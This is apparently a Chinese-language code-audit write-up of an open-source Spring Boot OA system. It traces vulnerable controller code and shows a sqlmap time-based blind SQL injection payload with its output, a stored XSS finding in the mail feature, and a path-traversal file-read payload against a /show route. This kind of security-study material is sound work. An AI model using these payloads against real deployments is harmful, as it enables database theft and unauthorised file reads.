前言 累累的,审完这个回去看小说,(没审完也去看小说了
分析 https://gitee.com/aaluoxiang/oa_system
也是很经典的springboot+mybatis,下载好maven依赖,搭好数据库,环境就直接可以启动了
fastjson 先看看依赖的nday啥的,发现是fastjson的1.2.36,但是全局搜了一下,发现只有序列化的点
没有反序列化的点,所以也没办法利用
sql注入 常规思路,全局搜索${
,发现like语句基本上都是这个
看第一个,在notice-mapper.xml
直接跟过去sortMyNotice,找到接口,然后找调用,发现只有一处调用
@RequestMapping("informlistpaging") public String informListPaging (@RequestParam(value = "pageNum", defaultValue = "1") int page, @RequestParam(value = "baseKey", required = false) String baseKey, @RequestParam(value="type",required=false) Integer type, @RequestParam(value="status",required=false) Integer status, @RequestParam(value="time",required=false) Integer time, @RequestParam(value="icon",required=false) String icon, @SessionAttribute("userId") Long userId, Model model,HttpServletRequest req) { System.out.println("baseKey:" +baseKey); System.out.println("page:" +page); setSomething(baseKey, type, status, time, icon, model); PageHelper.startPage(page, 10 ); List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time); PageInfo<Map<String, Object>> pageinfo=new PageInfo <Map<String, Object>>(list); ...
注入点就是这个baseKey参数,但是这个是在后台的,我们利用测试账户test/test进去,直接上sqlmap,可以用盲注跑出来
--- Parameter: Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://localhost:80/informlistpaging?baseKey=' AND (SELECT 3666 FROM (SELECT(SLEEP(5)))qzDv) AND ' PGaA'=' PGaA --- [21:40:17] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [21:40:17] [INFO] fetching database names [21:40:17] [INFO] fetching number of databases [21:40:17] [WARNING] time-based comparison requires larger statistical model, please wait .............................. (done ) [21:40:17] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec' )? [Y/n]14 [21:40:31] [INFO] retrieved: [21:40:36] [INFO] adjusting time delay to 1 second due to good response times informati^C
还有另外一个文件address-mapper.xml
一样的方法,直接找到调用
@RequestMapping("outaddresspaging") public String outAddress (@RequestParam(value="pageNum",defaultValue="1") int page,Model model, @RequestParam(value="baseKey",required=false) String baseKey, @RequestParam(value="outtype",required=false) String outtype, @RequestParam(value="alph",defaultValue="ALL") String alph, @SessionAttribute("userId") Long userId ) { PageHelper.startPage(page, 10 ); List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey); ...
访问对应路由,抓个包发现了对应xml文件的三个参数,都给加上*
号,sqlmap直接跑
不出意外,都存在注入
xss 秉承着见框就叉的原则,看到这个可以发邮件自然不能错过
admin用户那边也确实执行了xss攻击
这是黑盒测试,能直接叉,应该是没写过滤器的,我们再看看他对应的代码
@RequestMapping("pushmail") public String push (@RequestParam("file") MultipartFile file, HttpServletRequest request, @Valid Inmaillist mail, BindingResult br, @SessionAttribute("userId") Long userId) throws IllegalStateException, IOException { User tu = udao.findOne(userId); String name = null ; Attachment attaid = null ; Mailnumber number = null ; StringTokenizer st = null ; ResultVO res = BindingResultVOUtil.hasErrors(br); if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) { List<Object> list = new MapToList <>().mapToList(res.getData()); request.setAttribute("errormess" , list.get(0 ).toString()); } else { if (!StringUtil.isEmpty(request.getParameter("fasong" ))) { name = request.getParameter("fasong" ); } if (!StringUtil.isEmpty(name)) { if (!StringUtil.isEmpty(file.getOriginalFilename())) { attaid = mservice.upload(file, tu); attaid.setModel("mail" ); AttDao.save(attaid); } mail.setPush(true ); ...
没有过滤,获取参数后,就直接save了
还有其他的很多地方,代码都差不多,秉承着见框就叉的原则就完事了,这里不一一举例了
任意文件读取 参考这个师傅
主要是利用替换操作,我们可以构造对应的payload
@RequestMapping("show/**") public void image (Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request) throws IOException { String startpath = new String (URLDecoder.decode(request.getRequestURI(), "utf-8" )); String path = startpath.replace("/show" , "" ); System.out.println(path); File f = new File (rootpath, path); System.out.println(f.getAbsolutePath()); ServletOutputStream sos = response.getOutputStream(); FileInputStream input = new FileInputStream (f.getPath()); byte [] data = new byte [(int ) f.length()]; IOUtils.readFully(input, data); IOUtils.write(data, sos); input.close(); sos.close(); }
/show//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//show..//tmp/3.txt
但两处的获取路径不太一样,image是从当前路径开始,show是获取绝对路径,这里可以自行添加代码输出查看或者调试
todo…